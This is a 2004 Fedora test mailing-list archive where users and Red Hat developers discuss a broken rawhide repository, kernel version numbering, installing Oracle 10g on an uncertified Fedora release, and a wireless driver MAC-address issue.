Bjornsson wrote: > On Wed, 2004-11-17 at 09:17 +0100, nodata wrote: > > > If anything, isn't Red Hat Desktop "aimed" at home users? > > It costs half the amount of RHEL-WS per year - $90 IIRC. > > No, Red Hat Desktop is only sold in bulk, you're probably thinking of > Red Hat Professional Workstation. The Red Hat web site appears to have > been wiped clean of any mentions of that product though, at least > visibly... They still carried it at Fry's when I was there last time > though. Because it has been discontinued. You can renew your copy, though, since November 15th: http://www.redhat.com/promo/rhpw/ -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.667 loadavg: 1.00 1.02 0.98 From terraformers at gmx.net Wed Nov 17 13:16:14 2004 From: terraformers at gmx.net (Lars) Date: Wed, 17 Nov 2004 14:16:14 +0100 Subject: new rawhide dirs ? Message-ID: the rawhide dir structure has changed? it now looks like [DIR] SRPMS/ 17-Nov-2004 11:04 - [DIR] headers/ 17-Nov-2004 11:06 - [DIR] i386-logs/ 17-Nov-2004 11:05 - [DIR] i386/ 17-Nov-2004 11:04 - [DIR] ia64-logs/ 17-Nov-2004 11:05 - [DIR] ia64/ 17-Nov-2004 11:05 - [DIR] ppc-logs/ 17-Nov-2004 11:05 - [DIR] ppc/ 17-Nov-2004 11:05 - [DIR] ppc64-logs/ 17-Nov-2004 11:05 - [DIR] ppc64/ 17-Nov-2004 11:05 - [DIR] s390-logs/ 17-Nov-2004 11:05 - [DIR] s390/ 17-Nov-2004 11:05 - [DIR] s390x-logs/ 17-Nov-2004 11:05 - [DIR] s390x/ 17-Nov-2004 11:05 - [DIR] x86_64-logs/ 17-Nov-2004 11:05 - [DIR] x86_64/ 17-Nov-2004 11:05 - and yum says that there is no repomd file. ".../development/i386/repodata/repomd.xml: [Errno 4] IOError: HTTP Error 404: None" L -- No Software Patents! http://nosoftwarepatents.com Datenschutz - Ihr gutes Recht! http://datenschutz.de Get Firefox! http://spreadfirefox.com From Philip.R.Schaffner at nasa.gov Wed Nov 17 13:51:33 2004 From: Philip.R.Schaffner at nasa.gov (Phil Schaffner) Date: Wed, 17 Nov 2004 08:51:33 -0500 Subject: want to sibscribe In-Reply-To: References: Message-ID: <1100699494.5466.24.camel@wx1.larc.nasa.gov> On Wed, 2004-11-17 at 09:43 +0200, Sahar Farhat wrote: > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > > The "unsubscribe link" at the bottom of every message works for this. In fact, started to make this a private reply, but on reflection would like to suggest to whomever is responsible for the footer that it be changed to read: To subscribe, unsubscribe, or search the list: http://www.redhat.com/mailman/listinfo/fedora-test-list Phil From pknirsch at redhat.com Wed Nov 17 13:52:34 2004 From: pknirsch at redhat.com (Phil Knirsch) Date: Wed, 17 Nov 2004 14:52:34 +0100 Subject: new rawhide dirs ? In-Reply-To: References: Message-ID: <419B57A2.8050400@redhat.com> Lars wrote: > the rawhide dir structure has changed? > it now looks like > > [DIR] SRPMS/ 17-Nov-2004 11:04 - > [DIR] headers/ 17-Nov-2004 11:06 - > [DIR] i386-logs/ 17-Nov-2004 11:05 - > [DIR] i386/ 17-Nov-2004 11:04 - > [DIR] ia64-logs/ 17-Nov-2004 11:05 - > [DIR] ia64/ 17-Nov-2004 11:05 - > [DIR] ppc-logs/ 17-Nov-2004 11:05 - > [DIR] ppc/ 17-Nov-2004 11:05 - > [DIR] ppc64-logs/ 17-Nov-2004 11:05 - > [DIR] ppc64/ 17-Nov-2004 11:05 - > [DIR] s390-logs/ 17-Nov-2004 11:05 - > [DIR] s390/ 17-Nov-2004 11:05 - > [DIR] s390x-logs/ 17-Nov-2004 11:05 - > [DIR] s390x/ 17-Nov-2004 11:05 - > [DIR] x86_64-logs/ 17-Nov-2004 11:05 - > [DIR] x86_64/ 17-Nov-2004 11:05 - > > and yum says that there is no repomd file. > ".../development/i386/repodata/repomd.xml: [Errno 4] IOError: HTTP Error > 404: None" > > Jup, seems to be broken atm, just stumbled across it myself. Read ya, Phil -- Philipp Knirsch | Tel.: +49-711-96437-470 Development | Fax.: +49-711-96437-111 Red Hat GmbH | Email: Phil Knirsch Hauptstaetterstr. 58 | Web: http://www.redhat.de/ D-70178 Stuttgart Motd: You're only jealous cos the little penguins are talking to me. From joe.borne at gmail.com Wed Nov 17 14:40:14 2004 From: joe.borne at gmail.com (Joe Borne) Date: Wed, 17 Nov 2004 09:40:14 -0500 Subject: boot manager In-Reply-To: <20041117135244.828807373D@hormel.redhat.com> References: <20041117135244.828807373D@hormel.redhat.com> Message-ID: <10503aff0411170640598786fd@mail.gmail.com> I recently downloaded Solaris 10 and I want to rearrange my paritions so I can install it and dual boot. Can anyone recommend a procedure for doing this that they trust? Or even better, does anyone have a good HOWTO on turning a single boot linux machine into a dual boot? Thanks in advance, Joe From robn at verdi.et.tudelft.nl Wed Nov 17 14:49:15 2004 From: robn at verdi.et.tudelft.nl (Rob van Nieuwkerk) Date: Wed, 17 Nov 2004 15:49:15 +0100 Subject: new rawhide dirs ? In-Reply-To: <419B57A2.8050400@redhat.com> References: <419B57A2.8050400@redhat.com> Message-ID: <20041117154915.02aa9bbd.robn@verdi.et.tudelft.nl> On Wed, 17 Nov 2004 14:52:34 +0100 Phil Knirsch wrote: > Lars wrote: > > the rawhide dir structure has changed? > > it now looks like > > > > [DIR] SRPMS/ 17-Nov-2004 11:04 - > > [DIR] headers/ 17-Nov-2004 11:06 - > > [DIR] i386-logs/ 17-Nov-2004 11:05 - > > [DIR] i386/ 17-Nov-2004 11:04 - > > [DIR] ia64-logs/ 17-Nov-2004 11:05 - > > [DIR] ia64/ 17-Nov-2004 11:05 - > > [DIR] ppc-logs/ 17-Nov-2004 11:05 - > > [DIR] ppc/ 17-Nov-2004 11:05 - > > [DIR] ppc64-logs/ 17-Nov-2004 11:05 - > > [DIR] ppc64/ 17-Nov-2004 11:05 - > > [DIR] s390-logs/ 17-Nov-2004 11:05 - > > [DIR] s390/ 17-Nov-2004 11:05 - > > [DIR] s390x-logs/ 17-Nov-2004 11:05 - > > [DIR] s390x/ 17-Nov-2004 11:05 - > > [DIR] x86_64-logs/ 17-Nov-2004 11:05 - > > [DIR] x86_64/ 17-Nov-2004 11:05 - > > > > and yum says that there is no repomd file. > > ".../development/i386/repodata/repomd.xml: [Errno 4] IOError: HTTP Error > > 404: None" > > > > > > Jup, seems to be broken atm, just stumbled across it myself. Seems there was a problem on the rawhide build machine. All the *-logs/console-log files end with: "IOError: [Errno 28] No space left on device" I reported it already on the RH mirror maintainers list. greetings, Rob van Nieuwkerk From Philip.R.Schaffner at nasa.gov Wed Nov 17 14:52:08 2004 From: Philip.R.Schaffner at nasa.gov (Phil Schaffner) Date: Wed, 17 Nov 2004 09:52:08 -0500 Subject: boot manager In-Reply-To: <10503aff0411170640598786fd@mail.gmail.com> References: <20041117135244.828807373D@hormel.redhat.com> <10503aff0411170640598786fd@mail.gmail.com> Message-ID: <1100703129.5466.50.camel@wx1.larc.nasa.gov> On Wed, 2004-11-17 at 09:40 -0500, Joe Borne wrote: > I recently downloaded Solaris 10 and I want to rearrange my paritions > so I can install it and dual boot. Can anyone recommend a procedure > for doing this that they trust? Or even better, does anyone have a > good HOWTO on turning a single boot linux machine into a dual boot? 1. Add another disk. 2. google "dual boot linux" for more general links - mostly M$ related but somewhat applicable, and "dual boot linux solaris" for some Solaris specifics. Seems to be a wealth of information out there. 3. man parted 4. Search the archives for several recent related threads. 5. Post to fedora-list - doesn't sound like a test issue. Phil From lux at diesel-research.com Wed Nov 17 15:08:15 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 17 Nov 2004 08:08:15 -0700 Subject: Features for FC4 In-Reply-To: <1100679864.7467.155.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100457657.3612.8.camel@localhost.localdomain> <1100679864.7467.155.camel@localhost.localdomain> Message-ID: <1100704095.5997.0.camel@localhost.localdomain> OK. On Wed, 2004-11-17 at 16:24 +0800, Colin Charles wrote: > On Sun, 2004-11-14 at 11:40 -0700, Kim Lux wrote: > > I'd like to request support for the 4 in 1 card reader on HP zd7000 > > laptops: > > > > ENE Technology Inc CB-710/2/4 Cardbus Controller. Right now the driver > > is "yenta_socket". Someone told me this was a TI_1250 device and that > > there was a BSD driver already supporting it. It might already be in > > Linux, it just might need to have the device ID added. > > Bugzilla some relevant information about it so it can get whitelisted > > (what dmesg or /var/log/messages shows you) > -- > Colin Charles, byte at aeon.com.my > http://www.bytebot.net/ > "First they ignore you, then they laugh at you, then they fight you, > then you win." -- Mohandas Gandhi > -- Kim Lux (Mr.) Diesel Research Inc From brownld at indiana.edu Wed Nov 17 10:28:42 2004 From: brownld at indiana.edu (Larry D. Brown) Date: Wed, 17 Nov 2004 10:28:42 +0000 Subject: Help Installing Oracle 10g on Fedora Message-ID: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> I am currently running FC2T2, but I will be upgrading very soon to FC3T3. Either way, Oracle 10g makes a check for the Linux version before attempting to install a database. I doubt the issues are very much beyond "...not certified for this platform," and I only want to install it for testing and educational purposes. Any ideas about how to fool the Oracle Universal Installer into thinking it is on a supported platform? -- Larry D. Brown UITS HRMS/SIS IPS Team Indiana University Bloomington, IN From fedora at nodata.co.uk Wed Nov 17 15:21:03 2004 From: fedora at nodata.co.uk (nodata) Date: Wed, 17 Nov 2004 16:21:03 +0100 (CET) Subject: Help Installing Oracle 10g on Fedora In-Reply-To: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> Message-ID: <2240.213.164.3.90.1100704863.squirrel@213.164.3.90> > I am currently running FC2T2, but I will be upgrading very soon to > FC3T3. Either way, Oracle 10g makes a check for the Linux version > before attempting to install a database. I doubt the issues are very > much beyond "...not certified for this platform," and I only want to > install it for testing and educational purposes. Any ideas about how > to fool the Oracle Universal Installer into thinking it is on a > supported platform? Edit /etc/redhat-release ? From cra at WPI.EDU Wed Nov 17 15:23:51 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Wed, 17 Nov 2004 10:23:51 -0500 Subject: Help Installing Oracle 10g on Fedora In-Reply-To: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> Message-ID: <20041117152351.GL14135@angus.ind.WPI.EDU> On Wed, Nov 17, 2004 at 10:28:42AM +0000, Larry D. Brown wrote: > I am currently running FC2T2, but I will be upgrading very soon to > FC3T3. Why? FC3 proper is out. From labproject at free.fr Wed Nov 17 15:28:34 2004 From: labproject at free.fr (DJ Anubis) Date: Wed, 17 Nov 2004 16:28:34 +0100 Subject: Help Installing Oracle 10g on Fedora In-Reply-To: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> Message-ID: <200411171628.34533.labproject@free.fr> Le Mercredi 17 Novembre 2004 11:28, Larry D. Brown a ?crit?: You'll have to install a bunch of compat packages (support for RedHat 7.3). -- JCR aka DJ Anubis From davej at redhat.com Wed Nov 17 17:13:05 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 17 Nov 2004 12:13:05 -0500 Subject: funny way of numbering kernel versions In-Reply-To: <1100676805.3394.15.camel@localhost.localdomain> References: <20041116213213.A12491@mail.harddata.com> <20041117044102.GB14919@redhat.com> <1100667613.4049.3.camel@cutter> <20041117071138.GD14919@redhat.com> <1100676805.3394.15.camel@localhost.localdomain> Message-ID: <20041117171305.GA18697@redhat.com> On Tue, Nov 16, 2004 at 11:33:25PM -0800, Per Bjornsson wrote: > On Wed, 2004-11-17 at 02:11 -0500, Dave Jones wrote: > > > > 2.6.9-1.650_FC4 will not be higher than 2.6.9-1.667 > > > > Damn, you got me. This is the only annoying thing with having > > multiple releases on the same kernel level. They're not > > /exactly/ the same kernel, and as they come different > > parts of the CVS tree, it's perfectly feasable for > > a 2.6.9-1.650 to show up in FC2, FC3, and devel (FC4). > > I sure hope not, you just can't put out an update for a released distro > that doesn't get scored as higher by RPM... Presumably I'm misparsing > what you're saying here? yes, you are. updates for a specific release will never go backwards, but if I get a bug filed against 2.6.9-1.650, I don't know if that's the FC2 version, FC3, devel... > > I could do something really ugly, and just bump the > > devel kernels up past the last released FC3 kernel > > each time I do an update, but that is a little sick. > > Well, here's a suggestion that you might want to shoot down as stupid > and uninformed: How about using the first digit of the release tag? What > does it actually mean for the kernel - for other packages it's certainly > just a serial number... Why not bump it to "4" right away, and then let > that digit spill over to the stable FC4 kernels when Rawhide takes off > on the "5" path. Alternatively, of course, there's some deep meaning to > the number "1" which prevents this from being sane at all. You mean use 2.6.9-4.650 ? unfortunatly the '1.650' is the CVS tag. without some creative forking, its not going to work. Dave From m.a.young at durham.ac.uk Wed Nov 17 17:15:02 2004 From: m.a.young at durham.ac.uk (M A Young) Date: Wed, 17 Nov 2004 17:15:02 +0000 (GMT) Subject: Help Installing Oracle 10g on Fedora In-Reply-To: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> Message-ID: On Wed, 17 Nov 2004, Larry D. Brown wrote: > I am currently running FC2T2, but I will be upgrading very soon to > FC3T3. Either way, Oracle 10g makes a check for the Linux version > before attempting to install a database. I doubt the issues are very > much beyond "...not certified for this platform," and I only want to > install it for testing and educational purposes. Any ideas about how > to fool the Oracle Universal Installer into thinking it is on a > supported platform? There are several way to do it; edit /etc/redhat-release, if you are installing from files rather than CDs edit Disk1/install/oraparam.ini or try runInstaller -ignoreSysPrereqs. Also you might find FC3 just works anyway as I don't think the installer is very clever and I suspect it might confuse FC3 with RHEL3. Michael Young From shrek-m at gmx.de Wed Nov 17 17:34:16 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Wed, 17 Nov 2004 18:34:16 +0100 Subject: funny way of numbering kernel versions In-Reply-To: <20041117171305.GA18697@redhat.com> References: <20041116213213.A12491@mail.harddata.com> <20041117044102.GB14919@redhat.com> <1100667613.4049.3.camel@cutter> <20041117071138.GD14919@redhat.com> <1100676805.3394.15.camel@localhost.localdomain> <20041117171305.GA18697@redhat.com> Message-ID: <419B8B98.3080807@gmx.de> > > > > 2.6.9-1.650_FC4 will not be higher than 2.6.9-1.667 > > > > > > Damn, you got me. This is the only annoying thing with having > > > multiple releases on the same kernel level. They're not > > > /exactly/ the same kernel, and as they come different > > > parts of the CVS tree, it's perfectly feasable for > > > a 2.6.9-1.650 to show up in FC2, FC3, and devel (FC4). > > > > I sure hope not, you just can't put out an update for a released distro > > that doesn't get scored as higher by RPM... Presumably I'm misparsing > > what you're saying here? > >yes, you are. updates for a specific release will never go >backwards, but if I get a bug filed against 2.6.9-1.650, >I don't know if that's the FC2 version, FC3, devel... > > > > I could do something really ugly, and just bump the > > > devel kernels up past the last released FC3 kernel > > > each time I do an update, but that is a little sick. > > > > Well, here's a suggestion that you might want to shoot down as stupid > > and uninformed: How about using the first digit of the release tag? What > > does it actually mean for the kernel - for other packages it's certainly > > just a serial number... Why not bump it to "4" right away, and then let > > that digit spill over to the stable FC4 kernels when Rawhide takes off > > on the "5" path. Alternatively, of course, there's some deep meaning to > > the number "1" which prevents this from being sane at all. > >You mean use 2.6.9-4.650 ? unfortunatly the '1.650' is the CVS tag. >without some creative forking, its not going to work. > $ rpm -qa kernel* kernel-2.6.9-1.667 kernel-doc-2.6.9-1.667 kernel-utils-2.4-13.1.39 give the kernel the release-name ? eg. kernel-fc2-2.6.9-1.667 kernel-fc3-2.6.9-1.667 kernel-fc4-devel-2.6.9-1.667 -- shrek-m From alaxsxaq at gmail.com Wed Nov 17 17:35:32 2004 From: alaxsxaq at gmail.com (Glen Staufer) Date: Wed, 17 Nov 2004 12:35:32 -0500 Subject: Help Installing Oracle 10g on Fedora In-Reply-To: <200411171628.34533.labproject@free.fr> References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> <200411171628.34533.labproject@free.fr> Message-ID: On Wed, 17 Nov 2004 16:28:34 +0100, DJ Anubis wrote: > Le Mercredi 17 Novembre 2004 11:28, Larry D. Brown a ?crit : > > You'll have to install a bunch of compat packages (support for RedHat > 7.3). > > -- Just a comment on this in particular. I followed the procedures described at: http://staff.in2.hr/denis/oracle/10g1install_fedora1_en.html Part of that is the installation of the compatibility libraries and there is mention of gcc296 that supposedly gets installed with compat-gcc. Well, it didn't get installed on my FC3 system, so I went ahead and used gcc 3.4.2. Aside from having to override the installer check, my installation went without a hitch. I also had to comment this line out of inittab: h1:35:respawn:/etc/init.d/init.cssd run >/dev/null 2>&1 References: <20041116213213.A12491@mail.harddata.com> <20041117044102.GB14919@redhat.com> <1100667613.4049.3.camel@cutter> <20041117071138.GD14919@redhat.com> <1100676805.3394.15.camel@localhost.localdomain> <20041117171305.GA18697@redhat.com> <419B8B98.3080807@gmx.de> Message-ID: <20041117173858.GD18697@redhat.com> On Wed, Nov 17, 2004 at 06:34:16PM +0100, shrek-m at gmx.de wrote: > give the kernel the release-name ? > > eg. > kernel-fc2-2.6.9-1.667 > kernel-fc3-2.6.9-1.667 > kernel-fc4-devel-2.6.9-1.667 Ewww. Dave From balay at fastmail.fm Wed Nov 17 17:53:02 2004 From: balay at fastmail.fm (Satish Balay) Date: Wed, 17 Nov 2004 11:53:02 -0600 (CST) Subject: funny way of numbering kernel versions In-Reply-To: References: <20041116213213.A12491@mail.harddata.com> <20041117044102.GB14919@redhat.com> <1100667613.4049.3.camel@cutter> <20041117071138.GD14919@redhat.com> <1100676805.3394.15.camel@localhost.localdomain> <20041117171305.GA18697@redhat.com> <419B8B98.3080807@gmx.de> Message-ID: On Wed, 17 Nov 2004, Satish Balay wrote: > kernel-2.6.9-1.fc3.1.667 > > This change probably won't be a clean upgrade to the current > scheme - so migh require 'epoch' increment.. Thinking about it - using the following won't require epoach bumping kernel-2.6.9-2.fc3.1.667 Satish ----- Added text - to indicate this scheme is not pulled out from thin air.. [root at asterix ~]# rpm -qa |grep -i fc.. gnome-media-2.8.0-3.FC3.1 gnome-cpufreq-applet-0.3-1.1.fc2.dag udev-039-10.FC3.1 pine-4.61-1.1.fc2.dag jwhois-3.2.2-6.FC3.1 system-config-users-1.2.27-0.fc3.1 From balay at fastmail.fm Wed Nov 17 17:40:38 2004 From: balay at fastmail.fm (Satish Balay) Date: Wed, 17 Nov 2004 11:40:38 -0600 (CST) Subject: funny way of numbering kernel versions In-Reply-To: <419B8B98.3080807@gmx.de> References: <20041116213213.A12491@mail.harddata.com> <20041117044102.GB14919@redhat.com> <1100667613.4049.3.camel@cutter> <20041117071138.GD14919@redhat.com> <1100676805.3394.15.camel@localhost.localdomain> <20041117171305.GA18697@redhat.com> <419B8B98.3080807@gmx.de> Message-ID: On Wed, 17 Nov 2004, shrek-m at gmx.de wrote: > $ rpm -qa kernel* > > kernel-2.6.9-1.667 > kernel-doc-2.6.9-1.667 > kernel-utils-2.4-13.1.39 > > give the kernel the release-name ? > > eg. > kernel-fc2-2.6.9-1.667 > kernel-fc3-2.6.9-1.667 > kernel-fc4-devel-2.6.9-1.667 or it could be: kernel-2.6.9-1.fc3.1.667 This change probably won't be a clean upgrade to the current scheme - so migh require 'epoch' increment.. Satish From steve_dum at mentorg.com Wed Nov 17 18:26:13 2004 From: steve_dum at mentorg.com (steve_dum at mentorg.com) Date: Wed, 17 Nov 2004 10:26:13 -0800 Subject: funny way of numbering kernel versions In-Reply-To: Your message of "Wed, 17 Nov 2004 02:11:38 EST." <20041117071138.GD14919@redhat.com> Message-ID: <200411171826.iAHIQDOt025289@drdoom.wv.mentorg.com> In message <20041117071138.GD14919 at redhat.com>you write: >On Wed, Nov 17, 2004 at 12:00:13AM -0500, seth vidal wrote: > > > > > My guess is that this will quite likely limit an exposure of this > > > > kernel to testers. > > > > > > I goofed. Next one goes out as _FC4 instead of _devel > > > sorry, > > > > 2.6.9-1.650_FC4 will not be higher than 2.6.9-1.667 > >Damn, you got me. This is the only annoying thing with having >multiple releases on the same kernel level. They're not >/exactly/ the same kernel, and as they come different >parts of the CVS tree, it's perfectly feasable for >a 2.6.9-1.650 to show up in FC2, FC3, and devel (FC4). > >I could do something really ugly, and just bump the >devel kernels up past the last released FC3 kernel >each time I do an update, but that is a little sick. Or, a much more practical solution would be to keep the version number in a separate file in the CVS tree, and have ALL the branches use HEAD rather than branching that file. This way, any kernel released will be assigned a new unique number without having to try to figure out how to compare alpha characters in the revision string. This approach would guarentee uniqueness, but still leaves some slight confusion about how a 2.6.9-1.667 kernel compares to a 2.6.9-1.668 kernel. It sounds like even if each release bumped the version number, the actual patch set applied to the kernel could be vastly different. But this does solve the problem that a kernel released later than the one currently installed would be readily installed by rpm. steve > > Dave > > > From perbj at stanford.edu Wed Nov 17 18:28:27 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Wed, 17 Nov 2004 10:28:27 -0800 Subject: funny way of numbering kernel versions In-Reply-To: <20041117171305.GA18697@redhat.com> References: <20041116213213.A12491@mail.harddata.com> <20041117044102.GB14919@redhat.com> <1100667613.4049.3.camel@cutter> <20041117071138.GD14919@redhat.com> <1100676805.3394.15.camel@localhost.localdomain> <20041117171305.GA18697@redhat.com> Message-ID: <1100716107.3510.5.camel@localhost.localdomain> On Wed, 2004-11-17 at 12:13 -0500, Dave Jones wrote: > > > I could do something really ugly, and just bump the > > > devel kernels up past the last released FC3 kernel > > > each time I do an update, but that is a little sick. > > > > Well, here's a suggestion that you might want to shoot down as stupid > > and uninformed: How about using the first digit of the release tag? What > > does it actually mean for the kernel - for other packages it's certainly > > just a serial number... Why not bump it to "4" right away, and then let > > that digit spill over to the stable FC4 kernels when Rawhide takes off > > on the "5" path. Alternatively, of course, there's some deep meaning to > > the number "1" which prevents this from being sane at all. > > You mean use 2.6.9-4.650 ? Yes, that was my thought. > unfortunatly the '1.650' is the CVS tag. > without some creative forking, its not going to work. OK, so the "1" is actually relevant then. So how about just sticking the the distribution version before the current release tag? That would make your next hypothetical -1.650 be tagged -4.1.650; you can still keep the full CVS tag in there. I guess this is similar in some sense to what Satish suggested further along in the thread, but not as lengthy. And definitely not as ugly as keeping the distro name in the package name, which seems like a horrible upgrade mess if nothing else... I'm probably still missing something? /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From gcarter at aesgi.com Wed Nov 17 19:03:59 2004 From: gcarter at aesgi.com (Gregory G Carter) Date: Wed, 17 Nov 2004 13:03:59 -0600 Subject: Help Installing Oracle 10g on Fedora In-Reply-To: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> Message-ID: <419BA09F.8080005@aesgi.com> Bad question to ask. What you are asking will land anyone in here in jail in a country with software patents or part of the trading block of the USA and requires reverse engineering the installer, and certain sections of the software to determine how it installs itself. That is highly illegal, and it violates the software agreement you agreed to when you downloaded 10g anyway. Only install the Oracle database on a validated copy of Linux for which it is designed if you want to stay out of jail. I also advise anyone to please take this sort of conversation off the list please, Redhat has and WILL have enough legal problems in the upcomming year, they don't need to be sued by Oracle as well. -gc Larry D. Brown wrote: >I am currently running FC2T2, but I will be upgrading very soon to >FC3T3. Either way, Oracle 10g makes a check for the Linux version >before attempting to install a database. I doubt the issues are very >much beyond "...not certified for this platform," and I only want to >install it for testing and educational purposes. Any ideas about how >to fool the Oracle Universal Installer into thinking it is on a >supported platform? > > From lux at diesel-research.com Wed Nov 17 19:30:35 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 17 Nov 2004 12:30:35 -0700 Subject: Device wlan0 has different MAC address than expected, ignoring. Message-ID: <1100719835.9940.24.camel@localhost.localdomain> I am having a problem getting a wireless card to work on our server (acting as a router). It was working and now it doesn't. I've got a Linksys WMP54G wireless card. (PCI, "G", etc.) It uses the Broadcom 4306 hardware. I used ndiswrapper to install the drivers. It worked fine for several days. (I've used ndiswrapper on several machines with this hardware and it works well for me.) We physically moved the server and somehow the wireless card got bumped out of the PCI socket. Wireless networking didn't work. I investigated, put the card back in its socket, but I can't get it to work again. I keep getting the following message: #/etc/init.d/network restart Device wlan0 has different MAC Address than expected, ignoring. lspci - vvvxxx shows the card talks fine. ndiswrapper -l states that the driver and hardware are installed (and presumably talking) ifconfig -a shows that the device is NOT installed, nor should it be. (ie there are no ghosts.) system-config-network shows the device (when a proper ifcfg-wlan0 file is present) but has the following idiosyncrasies: 1) "Bind to MAC address" is always enabled. I can't get that to disable, even when I change "bind" to "no" in ifcfg-wlan0. 2) The probe button doesn't work, even when I put the correct MAC address in the field, even with the correct hdware address in ifcfg- wlan0. 3) When I started troubleshooting this problem, the MAC address field was empty. It bothers me that I can't unbind the MAC address. I used to install a network device without a bound address and then probe to get it, then select bind. Any ideas ? I suspect that ndiswrapper is trying to install the driver with a faulty MAC address. Is there a way to get the MAC address manually in a Linux system, just to make sure the card isn't returning 0 or something ? Kim Lux (Mr.) Diesel Research Inc From dmalcolm at redhat.com Wed Nov 17 19:40:56 2004 From: dmalcolm at redhat.com (David Malcolm) Date: Wed, 17 Nov 2004 14:40:56 -0500 Subject: Strange Evolution/Xorg Combination In-Reply-To: <1100625553.3490.41.camel@douro.ppl-ti.com> References: <1100625553.3490.41.camel@douro.ppl-ti.com> Message-ID: <1100720456.3577.74.camel@cassandra.boston.redhat.com> On Tue, 2004-11-16 at 17:19 +0000, Miguel Pereira Leite wrote: > Hi there. > > I'm some kind of newbie, but.. > > I've FC3 final full updated ( but openoffice.org) > > My xorg is in cinerama mode: > ------ > Section "ServerLayout" > Identifier "Multihead layout" > Screen 0 "Screen0" LeftOf "Screen1" > Screen 1 "Screen1" 0 0 > InputDevice "Mouse0" "CorePointer" > InputDevice "Keyboard0" "CoreKeyboard" > Option "Xinerama" "on" > Option "Clone" "off" > EndSection > ------- > > my graphics cards are 1 Nvidia TNT 2 and 1 Sis 315 (ok, they are ugly, > but i work mostly with text) > > Everything works fine. But when i'm in Evolution and try to reply an e- > mail or to write a new mail, the X server goes full speed and "heats" > all available CPU and the machine gets freezed for some time (10, 15 > seconds). > > Did anyone seen this before? what can i do to help you understand what > is going on? I haven't seen this; please can you file this in Bugzilla, and we'll take it from there. Thanks! Dave Malcolm > > mpleite > From fedora at nodata.co.uk Wed Nov 17 19:47:09 2004 From: fedora at nodata.co.uk (nodata) Date: Wed, 17 Nov 2004 20:47:09 +0100 (CET) Subject: Help Installing Oracle 10g on Fedora In-Reply-To: <419BA09F.8080005@aesgi.com> References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> <419BA09F.8080005@aesgi.com> Message-ID: <1186.80.108.1.175.1100720829.squirrel@80.108.1.175> > Only install the Oracle database on a validated copy of Linux for which > it is designed if you want to stay out of jail. Good points, but this is a public forum, I doubt Red Hat will be liable for non-staff comments on this list. Still, http://swpat.ffii.org/ *ahem* Are you a lawyer? > > I also advise anyone to please take this sort of conversation off the > list please, Redhat has and WILL have enough legal problems in the > upcomming year, they don't need to be sued by Oracle as well. > > -gc Who will Red Hat have legal problems with in the coming year (or is this speculation)? From lux at diesel-research.com Wed Nov 17 19:52:44 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 17 Nov 2004 12:52:44 -0700 Subject: Device wlan0 has different MAC address than expected, ignoring. In-Reply-To: <1100719835.9940.24.camel@localhost.localdomain> References: <1100719835.9940.24.camel@localhost.localdomain> Message-ID: <1100721164.10308.3.camel@localhost.localdomain> I just got it working and I'm not sure why. I pulled "alias wlan0 ndiswrapper" out of modprobe.conf I removed ifcfg-wlan0. I uninstalled the broadcom driver. I rebooted and I installed everything again. It works. I think that leaving the alias in modprobe caused the problem. Now everything works including probing the MAC. On Wed, 2004-11-17 at 12:30 -0700, Kim Lux wrote: > I am having a problem getting a wireless card to work on our server > (acting as a router). It was working and now it doesn't. > > I've got a Linksys WMP54G wireless card. (PCI, "G", etc. /sbin/ /sbin/lsmod lspci -vvvxx /sbin/lspci signetics ifconfig -a > ) It uses the > Broadcom 4306 hardware. I used ndiswrapper to install the drivers. It > worked fine for several days. (I've used ndiswrapper on several machines > with this hardware and it works well for me.) > > We physically moved the server and somehow the wireless card got bumped > out of the PCI socket. Wireless networking didn't work. I > investigated, put the card back in its socket, but I can't get it to > work again. I keep getting the following message: > > #/etc/init.d/network restart > > Device wlan0 has different MAC Address than expected, ignoring. > > lspci - vvvxxx shows the card talks fine. > > ndiswrapper -l states that the driver and hardware are installed (and > presumably talking) > > ifconfig -a shows that the device is NOT installed, nor should it be. > (ie there are no ghosts.) > > system-config-network shows the device (when a proper ifcfg-wlan0 file > is present) but has the following idiosyncrasies: > > 1) "Bind to MAC address" is always enabled. I can't get that to > disable, even when I change "bind" to "no" in ifcfg-wlan0. > > 2) The probe button doesn't work, even when I put the correct MAC > address in the field, even with the correct hdware address in ifcfg- > wlan0. > > 3) When I started troubleshooting this problem, the MAC address field > was empty. > > It bothers me that I can't unbind the MAC address. I used to install a > network device without a bound address and then probe to get it, then > select bind. > > Any ideas ? I suspect that ndiswrapper is trying to install the driver > with a faulty MAC address. > > Is there a way to get the MAC address manually in a Linux system, just > to make sure the card isn't returning 0 or something ? > > > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From whb at ceimaine.org Wed Nov 17 20:02:38 2004 From: whb at ceimaine.org (Will Backman) Date: Wed, 17 Nov 2004 15:02:38 -0500 Subject: New FC3 Kernel causes panic Message-ID: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> Anyone else getting a panic with new kernel for FC3? Up2date gave it to me today. kernel-2.6.9-1.678_FC3 Cannot find logical volumes. Dell Optiplex GX280 SATA, dual boot with WinXP. Picking old kernel from Grub boots fine. From alaxsxaq at gmail.com Wed Nov 